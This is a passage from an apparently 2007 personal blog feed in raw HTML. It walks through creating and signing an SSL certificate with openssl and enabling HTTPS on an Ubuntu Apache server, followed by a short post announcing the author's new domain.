my.privatekey</p></blockquote> </div><p style="text-align: left;">Generate a key file based on the user CA:<br /></p><div style="text-align: left;"> <blockquote><p>openssl req -days 3650 -key my.privatekey -new -out my.csr</p></blockquote> </div><p style="text-align: left;">Private information needed,Orgnization Name and location must be the same with root CA. Common Name is your web site's FQDN(fully qualified domain name. For example www.gezhi.org,and note that www.gezhi.org and gezhi.org are different sites )</p><p style="text-align: left;">then use root CA to authorize the user certification we made for apache:<br /></p><div style="text-align: left;"> <blockquote><p>openssl ca -out my.pem -days 3650 -infiles my.csr</p></blockquote> </div><div style="text-align: left;"> </div><p style="text-align: left;"><strong>3. Config apache<br /></strong></p><div style="text-align: left;"> </div><p>Ubuntu apache2 intalled mod_ssl on default,so just enable the modulate: a2enmod ssl</p><div style="text-align: left;"> </div><p style="text-align: left;">/* combine my.privatekey and my.pem, copy it to /etc/apache2/ssl/apache.pem */<br /></p><div style="text-align: left;"> <blockquote><p> cat my.privatekey my.pem > apache.pem<br />sudo cp apache.pem /etc/apache2/ssl/apache.pem</p></blockquote> </div><p style="text-align: left;">Set up the virtual host in /etc/apache2/sites-enabled/youdomain.conf (or in /etc/apache2/apache2.conf), it must include following lines:<br /></p><div style="text-align: left;"> <blockquote><p><virtualhost><br />ServerName mydomain.com<br />ServerAdmin webmaster@localhost<br />SSLEngine On<br />SSLCertificateFile /etc/apache2/ssl/apache.pem<br />DocumentRoot /directory/to/mydomain/dir/<br /><directory><br />…<br /></directory><br /></virtualhost></p></blockquote> </div><p style="text-align: left;">Add https listen port in /etc/ports.conf</p><div style="text-align: left;"> <blockquote><p>Listen 443</p></blockquote> </div><p style="text-align: left;">restart the apache server:<br /></p><div style="text-align: left;"> <blockquote><p>sudo /etc/init.d/apache2 restart</p></blockquote> </div><p style="text-align: left;">when apache2 starts, it will ask for password for my.privatekey</p></blockquote></div></blockquote>(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com0tag:blogger.com,1999:blog-445553689262032124.post-91425739420240038192007-03-27T09:53:00.000+10:002007-03-28T10:01:28.539+10:00My DomainMy new domain: www.cbdmall.com<br />Right now, I direct it to my home ip, since I still cannot find a satisfactory host for my project. Maybe I should foward it to my VMWare if possible, that will make things much easier.(Victor) Xi Wanghttp://www.blogger.com/profile/13754647402159056521noreply@blogger.com1